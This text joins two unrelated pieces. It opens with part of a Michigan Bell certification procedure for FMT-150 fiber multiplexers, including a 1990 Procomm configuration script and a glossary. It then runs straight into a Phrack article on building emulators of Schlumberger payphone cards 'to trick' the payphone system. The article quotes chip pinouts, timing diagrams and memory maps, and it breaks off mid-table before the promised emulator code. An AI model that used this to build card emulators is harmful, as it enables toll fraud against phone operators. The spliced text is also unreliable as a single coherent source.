
OS‑35A FMT‑150 System

‑‑‑‑‑‑ ‑‑‑‑‑‑

PIN 17 SYSTEM 1 PIN 18 SYSTEM 2

: :

: :

PIN 31 SYSTEM 15 PIN 32 SYSTEM 16

AGAIN, WIRE ONLY THE FMT‑150 SYSTEM THAT IS BEING PUT INTO SERVICE AND ONLY AFTER CERTIFICATION OF ELECTRONICS HAVE BEEN COMPLETED.

After x‑connects have been completed on FMT‑150 system that has been certified, contact the Alarm Center at (313) 223‑9688 and verify that all 16 customer output alarm conditions at both the CO and RT can be activated and are reporting via the OS‑35A back to the alarm center.

The Lightwave Alarm Center will monitor the FMT‑150 system for a 24 hour quiet period for alarms. During this 24 hour period if no alarms are detected by the Lightwave Alarm Center, the FMT‑150 will be considered certified for alarming and ready for continual monitoring.

If during the 24 hour quiet period the alarm center receives alarms from the FMT‑150 system, it will not be certified for continual monitoring and it will be the responsibility of the MBT Certification Teams to resolve those alarms.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

INSTRUCTIONS FOR CROSS CONNECTING ENVIRONMENTAL ALARMS TO

THE FMT‑150 INPUTS.

Environmental alarms at remote locations may be connected to the FMT‑150 customer inputs. If more than one system exists, these alarms should only be connected to the first. Since many remotes will not be equipped with all of these alarms, a checklist has been provided on the system acceptance sheets to indicate which have been wired. The alarms provided for are Smoke Detector, Sump Pump, Open Door, AC Power Fail, HI‑LO Temperature, Rectifier Fail, and Battery Float. These are wired to pins D8 through E9 on the FMT‑150 backplane. See Shelf Backplane Detail, attached.

All Customer Inputs are software connected to Customer Output #12. They will also bring in Bay Minor (Output #1) or Bay Major (Output #2) as appropriate. Inputs #1 (Smoke Detector) and #2 (Sump Pump) are latching inputs that can only be cleared by accessing the MCU with a VT100 terminal. See Section 321‑3211‑01, DP 3003, page 2.

FMT‑150 systems using external inputs for environmental alarms and which use E2 telemetry rather than the OS‑35 MUST be provided with type NT7H90XH Maintenance Control Units at both ends.

External alarm operation and telemetry if equipped, should be verified with the Alarm Center during acceptance.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Procomm Script for Accessing FMT‑150B/C/D

;***************************************

;*

;* FMT150.CMD Version 5.00 Dec 18, 1990 * ;* Please Destroy all previous versions of this program! *

;*

;* NOTE: Procomm is a product of Datastorm Technologies *

;***************************************

;

; The script FMT150.CMD was written to automatically perform ; all configuration commands for the Northern Telecom FMT‑150 ; fiber optic multiplexer. Specifically, this script will ; complete over 125 configuration commands (performance ; threshold, error correction, and alarm outputs) as outlined ; in Section 4 of the Michigan Bell Certification Procedure for ; the FMT‑150. This program is compatible with all ; certification requirements for FMT‑150 MCU NT7H90XA or MCU ; NT7H90XE.

;

; Requirements:

; 1) Toshiba T1000 craft terminal or DOS equivalent.

; 2) Proper serial cables and adapters.

; 3) Procomm disk with FMT150.CMD file.

;

; Procedure for use:

; 1) Remove disk from drive, then turn on computer. When the DOS ; prompt appears insert the PROCOMM disk into disk drive. ; Enter the command "A:" + <ENTER>.

; 2) Enter the command "FIXPRN" + <ENTER>.

; 3) Enter the command "PROCOMM" + <ENTER>.

; 4) While holding the <ALT> key down, press the <D> key,

; and select FMT‑150 from the dialing menu.

; 5) Gain access to MCU as normal (press the <ENTER> key 3 times). ; 6) Once logged in, reset the MCU to factory default by

; entering "M"(aintenance) "R"(eset) "*"(all) + <ENTER>. ; It will take approximately three minutes to reconfigure. ; 7) Gain access to MCU again as in steps 3) & 4).

; 8) Select the script by pressing <ALT><F5> keys simultaneously. ; 9) When prompted for command file enter "FMT150" + <ENTER>. ; 10) Answer questions and away you go!

;

; HISTORY: Version 4.00 May 15, 1990 by AQW final release version ; HISTORY: Version 4.10 Aug 08, 1990 by JBH mod to use VPRINT to divert ; printer into a better bit bucket, and to correct callback #. ; HISTORY: Version 4.12 Nov 21, 1990 by EEE to use Customer Inputs ; HISTORY: Version 5.00 Dec 18, 1990 by JBH to update documentation ;SN051690000

;REFNO=5.00

CLEAR

PAUSE 1

ALARM 1

MESSAGE " "

MESSAGE " **************************

MESSAGE " *

MESSAGE " * FMT‑150 MCU NT7H90XC\CA CONFIGURATION PROGRAM *" MESSAGE " * MCU NT7H90XE\EA CONFIGURATION PROGRAM *"

MESSAGE " *

MESSAGE " * VERSION 5.00 DEC 18, 1990 *"

MESSAGE " *

MESSAGE " * MICHIGAN BELL TELEPHONE COMPANY *" MESSAGE " * A DIVISION OF AMERITECH *"

MESSAGE " *

MESSAGE " *

MESSAGE " **************************

MESSAGE " "

MESSAGE " "

MESSAGE " ....TO EXIT THIS PROGRAM AT ANY TIME, PRESS <ESC>...." PAUSE 3

ALARM 1

;VARIABLE DOCUMENTATION

;S0=CLLI A USER INPUT

;S1=CLLI B USER INPUT

;S2=CLLI LOCAL USER INPUT

;S3=YEAR 2 DIGIT USER INPUT

;S4=MONTH 2 DIGIT USER INPUT

;S5=DAY 2 DIGIT USER INPUT

;S6=HOUR 2 DIGIT USER INPUT

;S7=MINUTE 2 DIGIT USER INPUT

;S8=SYSTEM ID & USER RESPONSE USED TO CONTROL PROGRAM FLOW ;S9=SYSTEM NUMBER

LABEL1:

; note the following statement was superseded in version 4.10 by VPRINT ;DOS "MODE LPT1:=COM2:" ; REQUIRED TO TURN PRINTER ERROR OFF

; following flushes the "RUB" buffer

TRANSMIT "^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H"

CLEAR

LOCATE 10,2

MESSAGE "Enter CLLI code for LOCATION A (C.O.) using full 8 or 11 characters:" LOCATE 12,2

GET S0 11 ;CLLI A

MESSAGE " "

CLEAR

LOCATE 10,2

MESSAGE "Enter CLLI code for LOCATION B (REMOTE) using full 8 or 11 characters:" LOCATE 12,2

GET S1 11 ;CLLI B

MESSAGE " "

CLEAR

LOCATE 10,2

MESSAGE "Enter CLLI code for YOUR location using full 8 or 11 characters:" LOCATE 12,2

GET S2 11

CLEAR

LOCATE 8,2

MESSAGE "Enter system ID without 'MI', for example ALBNMN‑JCSNMN." LOCATE 10,2

GET S8 13

LOCATE 13,2

MESSAGE "Enter system number, for example 1201 / T3X."

LOCATE 15,2

GET S9 15

TRANSMIT "CGNS"

TRANSMIT "`""

TRANSMIT S8

TRANSMIT "`""

TRANSMIT "!"

CLEAR

LOCATE 6,2

MESSAGE "Enter today's date."

LOCATE 8,2

MESSAGE "Enter two digit year + <ENTER>"

LOCATE 8,34

GET S3 2 ; 2 DIGIT YEAR

LOCATE 10,2

MESSAGE "Enter two digit month + <ENTER>. Use 0's if required." LOCATE 10,58

GET S4 2 ; 2 DIGIT MONTH

LOCATE 12,2

MESSAGE "Enter two digit day + <ENTER>. Use 0's if required." LOCATE 12,56

GET S5 2 ; 2 DIGIT DAY

CLEAR

LOCATE 6,2

MESSAGE "Enter time."

LOCATE 8,2

MESSAGE "Enter two digit hour + <ENTER>. Use 0's if required." LOCATE 8,57

GET S6 2 ; 2 DIGIT HOUR

LOCATE 10,2

MESSAGE "Enter two digit minute + <ENTER>. Use 0's if required." LOCATE 10,59

GET S7 2 ; 2 DIGIT MINUTE

CLEAR

;SET TIME DP3025

TRANSMIT "CT"

TRANSMIT S6

TRANSMIT " "

TRANSMIT S7

TRANSMIT " !"

PAUSE 1

KFLUSH

RFLUSH

CLEAR

;PROMPT THE USER TO CHECK INPUTS FOR LOCATIONS

LOCATE 1,2

MESSAGE "Please verify the following information."

LOCATE 4,2

MESSAGE "LOCATION A CLLI CODE = "

LOCATE 4,26

MESSAGE S0

LOCATE 6,2

MESSAGE "LOCATION B CLLI CODE = "

LOCATE 6,26

MESSAGE S1

LOCATE 8,2

MESSAGE "LOCAL LOCATION CLLI CODE ="

LOCATE 8,29

MESSAGE S2

LOCATE 10,2

MESSAGE "SYSTEM ID = "

LOCATE 10,17

MESSAGE S8

LOCATE 12,2

MESSAGE "SYSTEM NUMBER = "

LOCATE 12,21

MESSAGE S9

LOCATE 17,2

MESSAGE "IS INFORMATION CORRECT? Y/N + <ENTER>"

LOCATE 17,44

GET S8 1

SWITCH S8

CASE "Y"

;DO NOTHING

ENDCASE

DEFAULT

GOTO LABEL1 ; JUMP TO TOP AND ENTER INFORMATION AGAIN ENDCASE

ENDSWITCH

CLEAR

LOCATE 8,15

MESSAGE "DO NOT PRESS ANY KEYS UNTIL CONFIGURATION COMPLETE" LOCATE 10,15

MESSAGE "OK...HERE WE GO..."

ALARM 1

PAUSE 2

;SET DATE DP3024

TRANSMIT "CD"

TRANSMIT S3

TRANSMIT " "

TRANSMIT S4

TRANSMIT " "

TRANSMIT S5

TRANSMIT " !"

PAUSE 1

;NAME NODE 1 USING CENTRAL OFFICE CLLI CODE

TRANSMIT "CGNN1 "

TRANSMIT "`""

TRANSMIT S0

TRANSMIT "`""

TRANSMIT "!"

;NAME NODE 2 USING REMOTE CLLI CODE

TRANSMIT "CGNN2 "

TRANSMIT "`""

TRANSMIT S1

TRANSMIT "`""

TRANSMIT "!"

;DEFINE SITE

TRANSMIT "CGS1 1 2 !"

;TRANSMIT "`""

;TRANSMIT S0

;TRANSMIT "`""

;TRANSMIT S1

;TRANSMIT " "

;TRANSMIT "!"

;CONFIGURE CUSTOMER OUTPUT POINTS DP3013

TRANSMIT "CGNO1 "

TRANSMIT "`"BAY MINOR`""

TRANSMIT "!"

TRANSMIT "CGNO2 "

TRANSMIT "`"BAY MAJOR`""

TRANSMIT "!"

TRANSMIT "CGNO3 "

TRANSMIT "`"OPT A FAIL`""

TRANSMIT "!"

TRANSMIT "CGNO4 "

TRANSMIT "`"OPT B FAIL`""

TRANSMIT "!"

TRANSMIT "CGNO5 "

TRANSMIT "`"STX TX`""

TRANSMIT "!"

TRANSMIT "CGNO6 "

TRANSMIT "`"STX RX`""

TRANSMIT "!"

TRANSMIT "CGNO7 "

TRANSMIT "`"M13 ALARM #1`""

TRANSMIT "!"

TRANSMIT "CGNO8 "

TRANSMIT "`"M13 ALARM #2`""

TRANSMIT "!"

TRANSMIT "CGNO9 "

TRANSMIT "`"M13 ALARM #3`""

TRANSMIT "!"

TRANSMIT "CGNO10 "

TRANSMIT "`"HSA ALARM`""

TRANSMIT "!"

TRANSMIT "CGNO11 "

TRANSMIT "`"HSB ALARM`""

TRANSMIT "!"

;TRANSMIT "CGNO12 "

;TRANSMIT "`"DS1 GRP FAIL`""

;TRANSMIT "!"

TRANSMIT "CGNO13 "

TRANSMIT "`""

TRANSMIT S9

TRANSMIT "`""

TRANSMIT "!"

TRANSMIT "CGNO14 "

TRANSMIT "`"COM EQUIP ALRM`""

TRANSMIT "!"

TRANSMIT "CGNO15 "

TRANSMIT "`"NODE #1 CO`""

TRANSMIT "!"

TRANSMIT "CGNO16 "

TRANSMIT "`"NODE #2 REMOTE`""

TRANSMIT "!"

;DELETE ALL EXISTING CUSTOMER OUTPUTS

TRANSMIT "CGO1 D*!"

TRANSMIT "CGO2 D*!"

TRANSMIT "CGO3 D*!"

TRANSMIT "CGO4 D*!"

TRANSMIT "CGO5 D*!"

TRANSMIT "CGO6 D*!"

TRANSMIT "CGO7 D*!"

TRANSMIT "CGO8 D*!"

TRANSMIT "CGO9 D*!"

TRANSMIT "CGO10 D*!"

TRANSMIT "CGO11 D*!"

TRANSMIT "CGO12 D*!"

TRANSMIT "CGO13 D*!"

TRANSMIT "CGO14 D*!"

TRANSMIT "CGO15 D*!"

TRANSMIT "CGO16 D*!"

;CUSTOMER OUTPUTS 1‑2

TRANSMIT "CGO1 AS1 G100 !"

TRANSMIT "CGO2 AS1 G120 !"

;CUSTOMER OUTPUTS 3‑9

TRANSMIT "CGO3 AS1 G107 !"

TRANSMIT "CGO4 AS1 G108 !"

TRANSMIT "CGO5 AS1 G101 !"

TRANSMIT "CGO5 AS1 G102 !"

TRANSMIT "CGO5 AS1 G103 !"

TRANSMIT "CGO6 AS1 G104 !"

TRANSMIT "CGO6 AS1 G105 !"

TRANSMIT "CGO6 AS1 G106 !"

TRANSMIT "CGO7 AS1 G109 !"

TRANSMIT "CGO8 AS1 G110 !"

TRANSMIT "CGO9 AS1 G111 !"

;CUSTOMER OUTPUTS 10‑11

TRANSMIT "CGO10 AS1 M1 MH18 !"

TRANSMIT "CGO10 AS1 M2 MH18 !"

TRANSMIT "CGO10 AS1 M3 MH18 !"

TRANSMIT "CGO11 AS1 M1 MH19 !"

TRANSMIT "CGO11 AS1 M2 MH19 !"

TRANSMIT "CGO11 AS1 M3 MH19 !"

;TRANSMIT "CGO12 AS1 M1 1H2 !"

;TRANSMIT "CGO12 AS1 M2 1H2 !"

;TRANSMIT "CGO12 AS1 M3 1H2 !"

;TRANSMIT "CGO12 AS1 M1 1H3 !"

;TRANSMIT "CGO12 AS1 M2 1H3 !"

;TRANSMIT "CGO12 AS1 M3 1H3 !"

;CUSTOMER OUTPUT 13, 14

TRANSMIT "CGO13 AS1 G100 !"

TRANSMIT "CGO13 AS1 G120 !"

TRANSMIT "CGO14 AS1 G112 !"

;CUSTOMER OUTPUTS 15, 16

TRANSMIT "CGO15 AN1 G100 !"

TRANSMIT "CGO15 AN1 G120 !"

TRANSMIT "CGO16 AN2 G100 !"

TRANSMIT "CGO16 AN2 G120 !"

;SET TO AUTOMATIC CONTROL

TRANSMIT "CGO1 CA!"

TRANSMIT "CGO2 CA!"

TRANSMIT "CGO3 CA!"

TRANSMIT "CGO4 CA!"

TRANSMIT "CGO5 CA!"

TRANSMIT "CGO6 CA!"

TRANSMIT "CGO7 CA!"

TRANSMIT "CGO8 CA!"

TRANSMIT "CGO9 CA!"

TRANSMIT "CGO10 CA!"

TRANSMIT "CGO11 CA!"

TRANSMIT "CGO12 CA!"

TRANSMIT "CGO13 CA!"

TRANSMIT "CGO14 CA!"

TRANSMIT "CGO15 CA!"

TRANSMIT "CGO16 CA!"

;

;DEFINE CUSTOMER OUTPUT 12

TRANSMIT "CGO12 D*!"

TRANSMIT "CGNO12 "

TRANSMIT "`"EXT ALM`""

TRANSMIT "!"

TRANSMIT "CGO12 AN2 G118 !"

;also attach to pt 13 for alarm center ID

TRANSMIT "CGO13 AN2 G118 !"

;

;DEFINE CUSTOMER INPUTS

TRANSMIT "CGNI1 "

TRANSMIT "`"SMOKE DET.`""

TRANSMIT "!"

TRANSMIT "CGNI2 "

TRANSMIT "`"SUMP PUMP`""

TRANSMIT "!"

TRANSMIT "CGNI3 "

TRANSMIT "`"OPEN DOOR`""

TRANSMIT "!"

TRANSMIT "CGNI4 "

TRANSMIT "`"AC PWR FAIL`""

TRANSMIT "!"

TRANSMIT "CGNI5 "

TRANSMIT "`"HI‑LO TEMP`""

TRANSMIT "!"

TRANSMIT "CGNI6 "

TRANSMIT "`"RECT. FAIL`""

TRANSMIT "!"

TRANSMIT "CGNI7 "

TRANSMIT "`"BATT FLOAT`""

TRANSMIT "!"

;

;ADD CONDITIONS TO CUSTOMER OUTPUT 1

TRANSMIT "CGO1 AN2 SS5 !"

TRANSMIT "CGO1 AN2 SS6 !"

TRANSMIT "CGO1 AN2 SS7 !"

;

;ADD CONDITIONS TO CUSTOMER OUTPUT 2

TRANSMIT "CGO2 AN2 SS1 !"

TRANSMIT "CGO2 AN2 SS2 !"

TRANSMIT "CGO2 AN2 SS3 !"

TRANSMIT "CGO2 AN2 SS4 !"

;

;PER JOE OLSZTYN SWITCHING SYSTEMS STAFF

;LEAVE PERFORMANCE MONITORING AT FACTORY DEFAULT ;DISABLE BLUE INSERTION FOR POINT TO POINT SYSTEMS

;IN A MULTIPOINT SYSTEM BLUE INSERTION SHOULD BE ENABLED.

;ENABLE ALARM LOGGER

TRANSMIT "CAD!"

;DISABLE BLUE INSERTION NODE 1 DP3019

TRANSMIT "CN1 T1 BE!"

TRANSMIT "CN1 T2 BE!"

TRANSMIT "CN1 T3 BE!"

;ENABLE PARITY CORRECTION NODE 1 DP3020

TRANSMIT "CN1 T1 PE!"

TRANSMIT "CN1 T2 PE!"

TRANSMIT "CN1 T3 PE!"

;ENABLE RX OVERHEAD NODE 1 DP3021

TRANSMIT "CN1 T1 RE!"

TRANSMIT "CN1 T2 RE!"

TRANSMIT "CN1 T3 RE!"

;ENABLE TX OVERHEAD NODE 1 DP3022

TRANSMIT "CN1 T1 TE!"

TRANSMIT "CN1 T2 TE!"

TRANSMIT "CN1 T3 TE!"

;SIGNAL DEGRADE 10E‑8 NODE 1 DP3158

TRANSMIT "CN1 T1 S8!"

TRANSMIT "CN1 T2 S8!"

TRANSMIT "CN1 T3 S8!"

;DISABLE BLUE INSERTION NODE 2 DP3019

TRANSMIT "CN2 T1 BE!"

TRANSMIT "CN2 T2 BE!"

TRANSMIT "CN2 T3 BE!"

;ENABLE PARITY CORRECTION NODE 2 DP3020

TRANSMIT "CN2 T1 PE!"

TRANSMIT "CN2 T2 PE!"

TRANSMIT "CN2 T3 PE!"

;ENABLE RX OVERHEAD NODE 2 DP3021

TRANSMIT "CN2 T1 RE!"

TRANSMIT "CN2 T2 RE!"

TRANSMIT "CN2 T3 RE!"

;ENABLE TX OVERHEAD NODE 2 DP3022

TRANSMIT "CN2 T1 TE!"

TRANSMIT "CN2 T2 TE!"

TRANSMIT "CN2 T3 TE!"

;SIGNAL DEGRADE 10E‑8 NODE 2 DP3158

TRANSMIT "CN2 T1 S8!"

TRANSMIT "CN2 T2 S8!"

TRANSMIT "CN2 T3 S8!"

;LINE LEARN ALL MULTIPLEXERS BOTH NODES

TRANSMIT "CN1 M1 L!"

TRANSMIT "CN1 M2 L!"

TRANSMIT "CN1 M3 L!"

TRANSMIT "CN2 M1 L!"

TRANSMIT "CN2 M2 L!"

TRANSMIT "CN2 M3 L!"

;CONFIGURATION IS COMPLETE EXIT THE PROGRAM

CLEAR

ALARM 1

LOCATE 10,20

MESSAGE "......CONFIGURATION COMPLETE......"

LOCATE 14,17

MESSAGE "CONTINUE WITH SECTION 5 OF CERTIFICATION"

ALARM 2

PAUSE 5

EXIT

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Glossary of Terms

4WFour Wire

ACOAlarm Cut‑Off

ACTV Active (module ‑‑ carrying traffic)

AGC Automatic Gain Control

AIS Alarm Indication Signal ‑‑ indicates an alarm upstream

AMIAlternate Mark Inversion ‑‑ a technique by which the polarity of alternate pulses is inverted

APDAvalanche Photo Diode ‑‑ used for detecting pulses of light at the receive end of an optical fiber

AUDAudible alarm

BDFBattery Distribution Frame

BERBit Error Rate

BIPBit Interleave Parity

BPVBipolar Violation ‑‑ signal is not alternating as expected CAMMS Centralized Access Maintenance and Monitoring System ‑a bay‑mounted shelf with push buttons and an luminescent display, which is used to control FMT‑150 networks, as well as other Northern Telecom transmission equipment

CDPCentralized Display Panel

CEVControlled Environment Vault

COCentral Office

CPCCommon Product Code ‑‑ a Northern Telecom code used to identify equipment

DDDDirect Distance Dialing

DM‑13 Digital Multiplexer which multiplexes between DS‑1/1C/2 signals and DS‑3 signals

DNADynamic Network Architecture

E2AA serial interface for alarm polling of equipment

FEFrame Error

FERFrame Error Rate

FLFrame Loss

FLC Frame Loss Counter

FLSFrame Loss Seconds

FPDFuture Product to be Developed

GroupA multiplexed signal made up of four DS‑1s, two DS‑1Cs, or one Ds‑2

HubAn FMT‑150 site which branches one 150 Mb/s signal into two or three signals, in different directions, without sacrificing

OA & M continuity

LBRLoopback Request

MCUMaintenance Control Unit

MMMultimode Optical Fiber

MSBMost Significant Bit

Muldem Multiplexer/demultiplexer

NRZNon‑Return to Zero

OTTOptical Termination Tray

PECProduct Engineering Code ‑‑ a Norther Telecom code used to identify equipment. The preferred code to be used when ordering Northern Telecom equipment.

PERParity Error Rate

PESParity Error Seconds

RTOReady To Order

SCUService Channel Unit

SMBSub‑Miniature BNC type connector

SRStuff Request

STX(Pseudo) Synchronous Transport Signal: First Level at

49.92 Mb/s (Northern Telecom)

TBOSTelemetry Byte Oriented System

VISVisual Alarm

WDMWavelength Division Multiplexing

XOWExpress Orderwire

Electronic Telephone Cards (Part I)

==Phrack Magazine==

Volume Seven, Issue Forty‑Eight, File 10 of 18

Electronic Telephone Cards: How to make your own!

~~~~~~~~~~~~~~~~~~~~~~~~~~

I guess that Sweden is not the only country that employs the electronic phone card systems from Schlumberger Technologies. This article will explain a bit about the cards they use, and how they work. In the end of this article you will also find an UUEncoded file which contains source code for a PIC16C84 micro‑controller program that completely emulates a Schlumberger Telephone card and of course printed circuit board layouts + a component list... But before we begin talking seriously of this matter I must first make it completely clear that whatever you use this information for, is entirely YOUR responsibility, and I cannot be held liable for any problems that the use of this information can cause for you or for anybody else. In other words: I give this away FOR FREE, and I don't expect to get ANYTHING back in return!

The Original Telephone Card:

~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Since I probably would have had a hard time writing a better article than the one Stephane Bausson from France wrote a while ago, I will not attempt to give a better explanation than that one; I will instead incorporate it in this phile, but I do want to make it clear that the following part about the cards technical specification was not written by me: Merely the parts in quotes are things added by me... Instead I will concentrate on explaining how to build your own telephone card emulator and how the security measures in the payphone system created by Schlumberger Technologies work, and how to trick it... But first, let's have a look at the technical specifications of the various "smart memory card" systems used for the payphones.

<Start of text quoted from Stephane Bausson (sbausson@ensem.u‑nancy.fr)>

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

========================================

What you need to know about electronics telecards

========================================

(C) 10‑07‑1993 / 03‑1994

Version 1.06

Stephane BAUSSON

Email: sbausson@ensem.u‑nancy.fr

Smail: 4, Rue de Grand; F‑88630 CHERMISEY; France

Phone: (33)‑29‑06‑09‑89

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Any suggestions or comments about phonecards and smart‑cards are welcome

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Content

‑‑‑‑‑‑‑‑‑

I ) The cards from Gemplus, Solaic, Schlumberger, Oberthur:

I‑1) Introduction:

I‑2) SCHEMATICS of the chip:

I‑3) PINOUT of the connector:

I‑4) Main features:

I‑5) TIME DIAGRAMS:

I‑6) Memory MAP of cards from France and Monaco:

I‑5) Memory MAP of cards from other countries:

II ) The cards from ODS: (German cards)

II‑1) Introduction:

II‑2) Pinout:

II‑3) Main features:

II‑4) Time Diagrams:

II‑5) Memory Map:

II‑6) Electrical features:

III) The Reader Schematic:

IV) The program:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

I ) The cards from Gemplus, Solaic, Schlumberger, Oberthur: (French cards)

====================================

I‑1) Introduction:

‑‑‑‑‑‑‑‑‑‑‑‑

You must not think that the electronics phone‑cards are completely secret things, and that you can not read the information that is inside. It is quite false, since in fact an electronic phonecard does not contain any secret information like credit cards, and an electronic phonecard is nothing else than a 256 bit EPROM with serial output.

Besides do not think that you are going to refill them when you understand how they work, since for that you should reset the 256 bits of the cards by erasing the whole card. But the chip is coated in UV opaqued resin even if sometimes you can see it as transparent! Even if you were smart enough to erase the 256 bits of the card you should program the manufacturer area, but this is quite impossible since these first 96 bits are write protected by a lock‑out fuse that is fused after the card programming in factory.

Nevertheless it can be very interesting to study how these cards work, to see which kind of data are inside and how the data are mapped inside or to see how many units are left inside for example. Besides there are a great number of applications of these cards when there are used (only for personal usage of course) , since you can use them as key to open a door, or you can also use them as key to secure a program, etc...

These Telecards have been created in 1984 and at this time constructors decided to build these cards in NMOS technology but now, they plan to change by 1994 all readers in the public to booths and use CMOS technology. Also they plan to use EEPROM to secure the cards and to add many useful informations in, and you will perhaps use phone cards to buy you bread or any thing else.

These cards are called Second Generation Telecards.

I‑2) SCHEMATICS of the chip:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

.‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑.

| |

‑‑|> Clk |

| _ |

‑‑| R/W |

| |

‑‑| Reset |

| |

‑‑| Fuse |

| |

‑‑| Vpp |

| |

| |

'‑. .‑'

| |

.‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑.

| Out |‑‑ serial output '‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑'

I‑3) PINOUT of the connector:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

AFNOR CHIP ISO CHIP

‑‑‑‑‑‑‑‑‑‑

‑‑‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑‑‑‑‑‑

| 8 | 4 | | 1 | 5 |

| | |

+‑‑‑‑‑‑‑\ | /‑‑‑‑‑‑‑+

| 7 +‑‑‑‑+‑‑‑‑+ 3 | | 2 +‑‑‑‑+ + 6 |

| | | |

+‑‑‑‑‑‑‑‑| |‑‑‑‑‑‑‑‑+

| 6 | | 2 | | 3 | | 7 |

| + +‑‑‑‑+ |

+‑‑‑‑‑‑‑/ | \‑‑‑‑‑‑‑+

| 5 | 1 | | 4 | 8 |

| | |

‑‑‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑‑‑‑‑‑

NB: only the position of the chip is ISO standardized and not the pinout

PINOUT: 1 : Vcc = 5V 5 : Gnd

‑‑‑‑‑‑ 2 : R/W 6 : Vpp = 21V

3 : Clock 7 : I/O

4 : Reset 8 : Fuse

I‑4) Main features:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑ Synchronous protocol.

‑ N‑MOS technology.

‑ 256x1 bit organization.

‑ 96 written protected by a lock‑out fuse.

‑ Low power 85mW in read mode.

‑ 21 V programming voltage.

‑ Access time: 500ns

‑ Operating range: ‑100C +700C

‑ Ten year data retention.

I‑5) TIME DIAGRAMS:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

+21V ___

+5V ____________________________________| Vpp

: :

+5V ___________________:__Reset

0V ________________| :

: :

+5V ____ : ____ :

0V ___| |_______:_____| |________:_Clock

: : : : :

+5V : : : : : :__

0V ___:____:_______:_____:____:________| R/W

: : : : :

+5V : : :_____: :________:

0V XXXXXXXXXXXXXXXXX_____XXXXXX________XXXXXXXXXXXXXXXXXXXXXX__________ Out

: : : : :

: : : : : 10 to 10 to :

: : : : : 50 ms 50ms :

Reset Bit 1 Bit2 Bit 3 card reading reading Bit2 writing to 1 reading

I‑6) MEMORY MAP of cards from France and Monaco:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Bytes Bits Binary Hexa

+‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑+

1 1 ‑‑> 8 | | | ‑‑‑> Builder code. +‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑+

2 9 ‑‑> 16 | 0000 0011 | $03 | ‑‑‑> a French telecard +‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑+

3 17 ‑‑> 24 | | |

+‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑+

4 25 ‑‑> 32 | | |

+‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑+

5 33 ‑‑> 40 | | |

+‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑+

6 41 ‑‑> 48 | | |

+‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑+

7 49 ‑‑> 56 | | |

+‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑+

8 57 ‑‑> 64 | | |

+‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑+

9 65 ‑‑> 72 | | |

+‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑+

10 73 ‑‑> 80 | | |

+‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑+

11 81 ‑‑> 88 | | |

+‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑+

12 33 ‑‑> 40 | 0001 0011 | $13 | ‑‑‑> 120 units card | 0000 0110 | $06 | ‑‑‑> 50 units card

| 0000 0101 | $05 | ‑‑‑> 40 units card +‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑+

13‑31 97 ‑‑> 248 | | | ‑‑‑> The units area: each time a unit

| | | is used, then a bit is set to "1";

| | | Generally the first ten units are

| | | fused in factory as test.

| | |

| | |

| | |

+‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑+

32 249 ‑‑> 256 | 1111 1111 | $FF | ‑‑‑> the card is empty +‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑+

I‑7) MEMORY MAP of the other cards:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Bytes Bits Binary Hexa

+‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑+

1 1 ‑‑> 8 | | |

+‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑+

2 9 ‑‑> 16 | 1000 0011 | $83 | ‑‑‑> a telecard

+‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑+‑‑‑‑‑‑‑‑‑‑‑+‑‑‑

